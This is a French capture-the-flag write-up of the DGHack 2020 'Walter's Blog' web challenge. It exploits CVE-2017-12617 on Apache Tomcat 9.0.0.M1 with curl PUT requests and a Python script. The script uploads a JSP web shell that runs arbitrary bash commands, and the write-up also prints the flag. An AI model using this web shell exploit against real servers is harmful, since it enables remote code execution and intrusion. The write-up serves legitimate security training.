--- tags: DGA, 2020, CTF, WEB --- # Write-Up - DGHack - 2020 - Walter's Blog ## Catégorie: Web ###### Enoncé > Un ancien stagiaire avait développé ce site web il y a plusieurs années. Malheureusement, ce projet a mal été documenté et nous ne retrouvons plus les accès pour l'administrer... \ Votre tuteur vous autorise à tout essayer pour récupérer les accès à ce service, soyez inventif ! \ Le flag est situé dans le fichier /flag.txt . Nous nous rendons sur le site et pouvons voir un beau blog Minecraft, réalisé par le petit Walter. Il y a une gallerie photo et une page contact. ![](https://i.imgur.com/A65NPUP.png) Essayons de le contacter. Nous tombons sur une erreur: ![](https://i.imgur.com/OBc4cRX.png) On remarque qu'il utilise un serveur Apache Tomcat en version 9.0.0.M1. Après quelques recherches sur cette version de Tomcat, on tombe sur une [CVE](https://www.cvedetails.com/cve/CVE-2017-12617/) qui nous spécifie: ``` When running Apache Tomcat versions 9.0.0.M1 [...] with HTTP PUTs enabled it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. ``` Nous allons donc vérifier avec curl si un PUT permet bien d'injecter du code JSP voir s'il s'execute bien. ``` curl -X PUT -d "<% out.print(\"Hello World\"); %>" http://waltersblog3.chall.malicecyber.com/hello.jsp/ ``` Puis on regarde ce qu'on obtient avec un GET. ``` curl -X GET http://waltersblog3.chall.malicecyber.com/hello.jsp ``` ![](https://i.imgur.com/pNgMIFD.png) Super on retrouve bien notre chaine "Hello World" ! Maintenant comment faire pour afficher notre "flag.txt" ? Eh bien c'est simple, nous pouvons faire executer le code que l'on veut sur le serveur, nous allons donc lancer un bash distant, faire un `cat flag.txt`, puis afficher le résultat. ### Script Python ```python= #!/usr/bin/python3 import requests import sys import time def getPayload(cmd_): return '''\ <%@ page import="java.io.*" %> <% String s = null; try {{ Process p = Runtime.getRuntime().exec(new String[] {{ "/bin/bash", "-c", "{cmd}" }} ); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) {{ out.print(s + "<br>"); }} }} catch(IOException e) {{ out.print("error"); out.print(e.getMessage()); e.printStackTrace(); }} %> '''.format(cmd = cmd_) headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} print("Enter 'exit' to quit") print("$> ", end='', flush=True) for line in sys.stdin: line = line.rstrip() if line == "exit": break payload = getPayload(line) requests.put('http://waltersblog3.chall.malicecyber.com/xyz.jsp/', data = payload, headers=headers) r = requests.get('http://waltersblog3.chall.malicecyber.com/xyz.jsp', headers=headers) print(r.content.decode("utf-8").replace('<br>', '\n').replace('\t', '')) # Reset time.sleep(1) requests.put('http://waltersblog3.chall.malicecyber.com/xyz.jsp/', data = 'CLEAR', headers=headers) print("$> ", end='', flush=True) ``` J'avoue que le script ne se contente pas que d'afficher le résultat d'un `cat flag.txt`, je me suis un peu amusé à faire une sorte de reverse-shell :sweat_smile: On lance donc le script: ![](https://i.imgur.com/hzjYxhD.png) Nous voilà donc avec le flag ! **Flag = i4lW4y5UpD4T3Y0urt0mC@**